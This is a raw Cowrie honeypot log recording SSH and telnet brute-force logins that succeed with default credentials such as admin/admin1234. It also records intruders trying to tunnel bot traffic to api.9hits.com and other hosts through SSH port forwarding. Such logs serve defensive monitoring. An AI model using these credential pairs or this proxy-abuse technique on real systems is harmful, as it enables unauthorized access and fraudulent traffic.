{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:45.118170Z","src_ip":"23.175.50.47","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:45.254261Z","src_ip":"2.99.213.222","session":"b54a0eee63ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"password","message":"login attempt [gpadmin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:45.329599Z","src_ip":"49.247.37.22","session":"9fe7f52db065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:46.543489Z","src_ip":"49.247.37.22","session":"9fe7f52db065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.8","message":"Connection lost after 29.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:48.691970Z","src_ip":"173.208.188.210","session":"46bfdb3004cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":56797,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dd3931af2ad","protocol":"ssh","message":"New connection: 113.164.152.20:56797 (10.17.0.5:22) [session: 1dd3931af2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:50.208024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:50.213703Z","src_ip":"113.164.152.20","session":"1dd3931af2ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:50.516240Z","src_ip":"113.164.152.20","session":"1dd3931af2ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.65.170.8","src_port":40744,"dst_ip":"159.203.135.109","dst_port":23,"session":"69d76ecfe656","protocol":"telnet","message":"New connection: 50.65.170.8:40744 (159.203.135.109:23) [session: 69d76ecfe656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:51.498168Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:51.753952Z","src_ip":"113.164.152.20","session":"1dd3931af2ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:52.209947Z","session":"1dd3931af2ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:52.329342Z","session":"1dd3931af2ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:53.169749Z","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:53.270478Z","src_ip":"23.175.50.47","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.4 Mobile/17E255 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UDRIV1opKFcjWFg4dDYkYg%3D%3DQWzukTDhKgTfya3dgTJkWvSDuNe4JDU7xhfJAYa7xGR0219FGrUMdHhle%2BP%2BGookyKbqGMTuO4ArzFw29b3jItwmWbGl9ltoMVk0C6NfKmwIB3PX8H3q%2BdYdhbXG5g4QBISJjcey5GEhNwSraOAdVAuSXN9ciFWLY%2FBXtKiGT7QIynL0vSZeTMxobdbLEOaJBx6vyhDEf9dB30%2FrFKMWnGnGBSDyGWqPiReubFovM5RfZJZfG1DxYY5MOdtjJ3AZUUQssAQlpBc%2BHhs00DWV3fw2%2BjeEKp7HXyF%2FNe3cOVC2Qx2BQRYJl038ZD7FWKO%2Bw%2B1j2krrnzWIdL4rqEzKgSY9%2Fq4ETX5G%2BotxRofJOnoQKXXWWyn5YVWWC3ri6NhgkE7WBDbA5T%2BalNjFhYevDaYVZOa4tUETkPdajwUkPGkgwL86iFi0gNpiGDNGtMu3W45kO1NO%2BZ048T3oE4ZR0p%2BUAZ5fTOOuH7Mk3MzIHJkCbpleQeyCX7pSQubXZe%2FvE3It1vYvzx0OFP1R2OKhp86kIyF02aa4Y2aFoYNdADrkmyG4bDRo4GxaW9kIJOQlMIYhp%2Bla7b4EYqGBSnriPjTNqpT4%2F1htpYcT%2B2owdsNx9lqdohlE4fjRZrWVa0%2FZQs0iM9mIFx34QkxKy%2FDbRfbLWN%2FvEPpI9qJPWD%2F9bK4%2BDhT%2FzTEi%2FMliid1dJvax0fZQ%2Fp27zUP2siqdQaud5k4kD0eq4Kn4zJw3kEMk1Z7aNyjhbcORe1HC3a34JDDhxBdEndNg%2BDI5CiJqTIXmjTz9cFdRo2j%2BLKGk6%2Fh%2BifxBfcwlKhjeJiFXB7bpQUjGI2FJ943dAz7Mu87SWlRU4xnibn8JxTvniFlOO6bnMqL8ASZOs8P%2F5t%2BJOO4bSBNKLZiK%2B6ZhPH6iRGC5yNWczcBjbqWO9Kz3MbdRGbz70gh1r69BrolweJv%2BSWUBQFu40d72ZJLuFNXpeZJst77SgaT1OCgGA5D2iw2QM4v%2FsMLp09GBymI14373CPlRPEC%2BIYC9XVS4slcoosKPm9B97nxL4IerZHbVYrQww8z2C1DQGcQ3uk2487nfSMGmgqAW'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.4 Mobile/17E255 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UDRIV1opKFcjWFg4dDYkYg%3D%3DQWzukTDhKgTfya3dgTJkWvSDuNe4JDU7xhfJAYa7xGR0219FGrUMdHhle%2BP%2BGookyKbqGMTuO4ArzFw29b3jItwmWbGl9ltoMVk0C6NfKmwIB3PX8H3q%2BdYdhbXG5g4QBISJjcey5GEhNwSraOAdVAuSXN9ciFWLY%2FBXtKiGT7QIynL0vSZeTMxobdbLEOaJBx6vyhDEf9dB30%2FrFKMWnGnGBSDyGWqPiReubFovM5RfZJZfG1DxYY5MOdtjJ3AZUUQssAQlpBc%2BHhs00DWV3fw2%2BjeEKp7HXyF%2FNe3cOVC2Qx2BQRYJl038ZD7FWKO%2Bw%2B1j2krrnzWIdL4rqEzKgSY9%2Fq4ETX5G%2BotxRofJOnoQKXXWWyn5YVWWC3ri6NhgkE7WBDbA5T%2BalNjFhYevDaYVZOa4tUETkPdajwUkPGkgwL86iFi0gNpiGDNGtMu3W45kO1NO%2BZ048T3oE4ZR0p%2BUAZ5fTOOuH7Mk3MzIHJkCbpleQeyCX7pSQubXZe%2FvE3It1vYvzx0OFP1R2OKhp86kIyF02aa4Y2aFoYNdADrkmyG4bDRo4GxaW9kIJOQlMIYhp%2Bla7b4EYqGBSnriPjTNqpT4%2F1htpYcT%2B2owdsNx9lqdohlE4fjRZrWVa0%2FZQs0iM9mIFx34QkxKy%2FDbRfbLWN%2FvEPpI9qJPWD%2F9bK4%2BDhT%2FzTEi%2FMliid1dJvax0fZQ%2Fp27zUP2siqdQaud5k4kD0eq4Kn4zJw3kEMk1Z7aNyjhbcORe1HC3a34JDDhxBdEndNg%2BDI5CiJqTIXmjTz9cFdRo2j%2BLKGk6%2Fh%2BifxBfcwlKhjeJiFXB7bpQUjGI2FJ943dAz7Mu87SWlRU4xnibn8JxTvniFlOO6bnMqL8ASZOs8P%2F5t%2BJOO4bSBNKLZiK%2B6ZhPH6iRGC5yNWczcBjbqWO9Kz3MbdRGbz70gh1r69BrolweJv%2BSWUBQFu40d72ZJLuFNXpeZJst77SgaT1OCgGA5D2iw2QM4v%2FsMLp09GBymI14373CPlRPEC%2BIYC9XVS4slcoosKPm9B97nxL4IerZHbVYrQww8z2C1DQGcQ3uk2487nfSMGmgqAW'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:53.277304Z","src_ip":"23.175.50.47","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:53.531364Z","src_ip":"113.164.152.20","session":"1dd3931af2ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.66 Mobile/17B84 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=V0hQN1hyQC8rYiNFWjMqeA%3D%3DxAIn30rSUGQnR2A8lfswH3a7Lsy53CcVrOp6QKSc%2BDNp44AqXaal14rtOA%2F5Mc9St9UHD3nFgF3bwwxOgw2diq3wEPLLt%2B4BQilWfC%2BF5RiJHtJLsoaO5xgOueEoIMmveqKEZAsFiO%2BLZc%2B%2Flg61xXHSoFy67vCx1APIneKXG5jhaptKV9bPy%2Bf7su%2FawqQEP9LHq%2BlDcCjjCPz0D7W01BU2b9%2FTj3RV2UUkEPhljVBhIn1Bm48qh7b%2FU2iyB%2Fc71G5GMZONtOuW3qp27BHJ2nI9%2F7vKxm5nqHqYwneEZuYi1LY9%2B2iIduAH0Vk%2FAGLj7RaQA30rP1IBXegT%2FHEIQICJ7Gv%2B0iAHQOH8u%2BmwbZvRpEckIdnnCeZ12nPYgzEr2BXp992%2F4qjlDcQt7AFTk2w5npPpqK8kgKaS25bxQpYZEpKC5Dov4MvVBspI4qzkJAUBBtB7vlfAAwmGjgduUOywM4uTlPqazMCwcGwb%2FJe1fFPTZq105CZZfHHUUrDpmguRIK4w6dY8AH%2BiztlgQE09oDVuQ%2FFM7Rvv184StHPisWhZGa5TdVPLDUg97qWVKoRi%2FC6c9VRm5tEhDkxdRRzs0TPmNTaTeb%2F5%2BLURu7%2FJ3Ikea0LUSfHzbaDf4k6WsWenZ1cj7QewFS16IV%2BbZeq48OOhqlk5ycHIixRy2VHOPN4tuShnh6ECumazOYKGqS%2FH6P9uV1E3RycgmCkvTAFs6rtZ7d1OwQmK0955X7V6MTfiqx33O2rHBNCFklMnC9McBJohyuDntFJYTzq9sK%2BBhtXyZxhOyVcRLcXYpU8HN%2FNKyKBZ3t0iWp4d6xqorm9e%2B2Rv%2Fpu%2BhL7HPS0RJxG%2BeKLSQUWeIZuQ57XB9c2JAan3WhL7Q35%2Ffb6Muy5AtTQh5S88xxB1tYgiS5rOoTvffvFuTFAbxTEABe1UO8MpSXRz6Zmhkv1GpuNdnq7Hv2DS%2BiE4kxKxepItkjnDt%2Fp6JbJE35tYEZk7dS%2FkZ0F8H3gAgIL1rfk%2FXpbj5QjaFO45dyHZPbXZaxSsDf0c%2BAssX4dpTs9cIUwA9Am27qDsyu%2FVqqbyhczgAe9VRSzn'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.66 Mobile/17B84 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=V0hQN1hyQC8rYiNFWjMqeA%3D%3DxAIn30rSUGQnR2A8lfswH3a7Lsy53CcVrOp6QKSc%2BDNp44AqXaal14rtOA%2F5Mc9St9UHD3nFgF3bwwxOgw2diq3wEPLLt%2B4BQilWfC%2BF5RiJHtJLsoaO5xgOueEoIMmveqKEZAsFiO%2BLZc%2B%2Flg61xXHSoFy67vCx1APIneKXG5jhaptKV9bPy%2Bf7su%2FawqQEP9LHq%2BlDcCjjCPz0D7W01BU2b9%2FTj3RV2UUkEPhljVBhIn1Bm48qh7b%2FU2iyB%2Fc71G5GMZONtOuW3qp27BHJ2nI9%2F7vKxm5nqHqYwneEZuYi1LY9%2B2iIduAH0Vk%2FAGLj7RaQA30rP1IBXegT%2FHEIQICJ7Gv%2B0iAHQOH8u%2BmwbZvRpEckIdnnCeZ12nPYgzEr2BXp992%2F4qjlDcQt7AFTk2w5npPpqK8kgKaS25bxQpYZEpKC5Dov4MvVBspI4qzkJAUBBtB7vlfAAwmGjgduUOywM4uTlPqazMCwcGwb%2FJe1fFPTZq105CZZfHHUUrDpmguRIK4w6dY8AH%2BiztlgQE09oDVuQ%2FFM7Rvv184StHPisWhZGa5TdVPLDUg97qWVKoRi%2FC6c9VRm5tEhDkxdRRzs0TPmNTaTeb%2F5%2BLURu7%2FJ3Ikea0LUSfHzbaDf4k6WsWenZ1cj7QewFS16IV%2BbZeq48OOhqlk5ycHIixRy2VHOPN4tuShnh6ECumazOYKGqS%2FH6P9uV1E3RycgmCkvTAFs6rtZ7d1OwQmK0955X7V6MTfiqx33O2rHBNCFklMnC9McBJohyuDntFJYTzq9sK%2BBhtXyZxhOyVcRLcXYpU8HN%2FNKyKBZ3t0iWp4d6xqorm9e%2B2Rv%2Fpu%2BhL7HPS0RJxG%2BeKLSQUWeIZuQ57XB9c2JAan3WhL7Q35%2Ffb6Muy5AtTQh5S88xxB1tYgiS5rOoTvffvFuTFAbxTEABe1UO8MpSXRz6Zmhkv1GpuNdnq7Hv2DS%2BiE4kxKxepItkjnDt%2Fp6JbJE35tYEZk7dS%2FkZ0F8H3gAgIL1rfk%2FXpbj5QjaFO45dyHZPbXZaxSsDf0c%2BAssX4dpTs9cIUwA9Am27qDsyu%2FVqqbyhczgAe9VRSzn'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:53.535222Z","src_ip":"113.164.152.20","session":"1dd3931af2ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:53.543974Z","src_ip":"113.164.152.20","session":"1dd3931af2ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12\\x94\\xb8\\xd4o#-+\\xa7H1\\xe1\\xa6|\\xd9\\x14\\xed\\xe5#\\xda\\xdb\\xbd\\xff\\x17?W\\xd2\\xfb t\"\\xb8 /t-:&9\\xa0\\x18>\\xd2\\t\\xb1i\\xce@\\x891$F!\\xb1\\x82\\x14\\xcd\\xc3~k\\xb1\\xb4IX9\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe8\\x07x\\xc5x2>\\xf3\\xb4\\x85\\xa2\\x1b?JE\\x14&Wm\\xaa\\xba\\x83\\xef\\xa3\\xfe\\x10[\\x03\\xde\\x9f\\xcdq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12\\x94\\xb8\\xd4o#-+\\xa7H1\\xe1\\xa6|\\xd9\\x14\\xed\\xe5#\\xda\\xdb\\xbd\\xff\\x17?W\\xd2\\xfb t\"\\xb8 /t-:&9\\xa0\\x18>\\xd2\\t\\xb1i\\xce@\\x891$F!\\xb1\\x82\\x14\\xcd\\xc3~k\\xb1\\xb4IX9\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe8\\x07x\\xc5x2>\\xf3\\xb4\\x85\\xa2\\x1b?JE\\x14&Wm\\xaa\\xba\\x83\\xef\\xa3\\xfe\\x10[\\x03\\xde\\x9f\\xcdq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:53.547272Z","src_ip":"113.164.152.20","session":"1dd3931af2ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:53.832763Z","session":"1dd3931af2ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:54.114113Z","src_ip":"113.164.152.20","session":"1dd3931af2ad","protocol":"ssh"}
